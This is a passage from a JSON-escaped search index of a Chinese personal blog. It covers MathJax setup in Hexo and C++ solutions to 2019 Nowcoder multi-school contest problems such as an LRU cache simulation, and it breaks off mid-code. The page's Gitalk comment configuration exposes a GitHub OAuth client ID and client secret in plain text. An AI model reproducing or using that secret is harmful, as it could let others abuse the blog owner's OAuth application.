\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e all = MathJax.Hub.getAllJax(), i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; all.length; i += \u003cspan class=\"number\"\u003e1\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e all[i].SourceElement().parentNode.className += \u003cspan class=\"string\"\u003e\u0026#x27; has-jax\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026quot;text/javascript\u0026quot;\u003c/span\u003e src=\u003cspan class=\"string\"\u003e\u0026quot;https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026quot;\u003c/span\u003e\u0026gt;\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;% \u0026#125; %\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在需要用mathjax的文章的header里头填个\u003c/p\u003e\u003cfigure class=\"highlight yml\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emath:\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e就好啦\u003c/p\u003e\u003ch2 id=\"使用Mathjax备忘\"\u003e使用Mathjax备忘\u003c/h2\u003e\u003cp\u003e除了mathjax的基本语法,有些会用到但不太常用到的东西在这稍稍记一下,长期更新\u003c/p\u003e\u003cp\u003e本篇文章设置了\u003ccode\u003emath: false\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"功能\"\u003e功能\u003c/h3\u003e\u003cp\u003e写法\u003c/p\u003e\u003ch3 id=\"多行公式-对齐\"\u003e多行公式+对齐\u003c/h3\u003e\u003cp\u003e\\begin{align}\u003cbr\u003e\u0026amp; 1+1 \\\\\u003cbr\u003e= \u0026amp; 2 \\\\\u003cbr\u003e= \u0026amp; 5-4\u003cbr\u003e\\end{align}\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/08/07/Dev/%E8%AE%BAmathjax%E8%B8%A9%E5%9D%91/"},{"title":"2019暑期牛客多校","time":"2019-08-05T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003eWIP\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"第三场\"\u003e第三场\u003c/h2\u003e\n\u003ch3 id=\"B-Crazy-Binary-String\"\u003eB: Crazy Binary String\u003c/h3\u003e\n\u003cp\u003e签到题\u003cbr\u003e\n初步想法是$v_i$\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003eWIP\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第三场\"\u003e第三场\u003c/h2\u003e\u003ch3 id=\"B-Crazy-Binary-String\"\u003eB: Crazy Binary String\u003c/h3\u003e\u003cp\u003e签到题\u003cbr\u003e初步想法是$v_i$记录在$i$处出现过的0与1个数之差,当$v_j == v_i (j \\gt i)$时计算$j-i$,记录其最大值\u003cbr\u003e然而这就是个前缀和。。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;n;i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[i])state++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e state--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(first[state])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e maxx = \u003cspan class=\"built_in\"\u003emax\u003c/span\u003e(maxx, i-first[state]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e first[state] = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout\u0026lt;\u0026lt;maxx;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"J-LRU-management\"\u003eJ: LRU management\u003c/h3\u003e\u003cp\u003e大暴力,模拟\u003cbr\u003e赛后补题\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;unordered_map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003elist\u0026lt;pair\u0026lt;string, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026gt; cache;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eunordered_map\u0026lt;string, list\u0026lt;pair\u0026lt;string, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026gt;::iterator\u0026gt; last;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e T, Q, M;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eaccess\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e string \u0026amp;str, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e ite = last.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(str);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ite != last.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e cur = ite-\u0026gt;second;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\\n\u0026quot;\u003c/span\u003e, cur-\u0026gt;second);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e(*cur);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cur);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last[cur-\u0026gt;first] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\\n\u0026quot;\u003c/span\u003e, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eemplace_back\u003c/span\u003e(str, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last[str] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e()) \u0026gt; M) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e().first);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last[str] = \u003cspan class=\"built_in\"\u003eprev\u003c/span\u003e(cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003equery\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e string \u0026amp;str, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e v)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e ite = last.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(str);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((ite == last.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) ||\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (v == \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003enext\u003c/span\u003e(ite-\u0026gt;second) == cache.\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()) ||\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (v == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e \u0026amp;\u0026amp; ite-\u0026gt;second == cache.\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e()))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;Invalid\\n\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eauto\u003c/span\u003e result = ite-\u0026gt;second;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (v == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e result--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (v == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e result++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\\n\u0026quot;\u003c/span\u003e, result-\u0026gt;second);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e opt, v;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d\u0026quot;\u003c/span\u003e, \u0026amp;T);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (T--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cache.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e last.\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d %d\u0026quot;\u003c/span\u003e, \u0026amp;Q, \u0026amp;M);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (Q--) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;%d %s %d\u0026quot;\u003c/span\u003e, \u0026amp;opt, buffer, \u0026amp;v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (opt)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003equery\u003c/span\u003e(buffer, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eaccess\u003c/span\u003e(buffer, v);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Magic-Line\"\u003eMagic Line\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e做几何的时候一定要注意代码的细节\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e过分别按照x与y取中位数得到的点画一条线,将坐标延伸至无限远,进行微小的调整,即可错开这个点。\u003cbr\u003e此处有一细节问题:当调整极远处坐标时应考虑到线的旋转,从而会影响到一开始排序的方向。\u003c/p\u003e\u003ch2 id=\"第五场\"\u003e第五场\u003c/h2\u003e\u003ch3 id=\"generator1\"\u003egenerator1\u003c/h3\u003e\u003ch4 id=\"题意\"\u003e题意\u003c/h4\u003e\u003cp\u003e计算$2*2$矩阵的$n$次幂($n \\leq 10^{10^6}$)\u003c/p\u003e\u003ch4 id=\"思路\"\u003e思路\u003c/h4\u003e\u003cp\u003e首先$n$这么大,快速幂是肯定的。但是有个问题就是\u003cbr\u003e这个整数转换为\u0026quot;整数\u0026quot;的复杂度不可忽略。\u003cbr\u003e将n视为字符串$n_1,n_2,n_3,…,n_{|n|}$,其中$n_i$代表n的第i数位,对矩阵T有\u003c/p\u003e\u003cp\u003e\\begin{align}\u003cbr\u003e\u0026amp; T^{int(n)} \\\\\u003cbr\u003e==\u0026amp; T^{n_1*10^{|n|}+n_2*10^{|n|-1}+…} \\\\\u003cbr\u003e==\u0026amp; T^{n_1*10^{|n|}}*T^{n_2*10^{|n|-1}}*…*T^{n_{|n|} *10^0}\u003cbr\u003e\\end{align}\u003c/p\u003e\u003ch4 id=\"备注\"\u003e备注\u003c/h4\u003e\u003cp\u003e考场上应当就问题考虑解决问题的办法,找到问题的特征,不应该抱着现成的板子不放。过不去肯定有别的问题。\u003cbr\u003e\u003cs\u003e但是我现在只想去世\u003c/s\u003e\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan 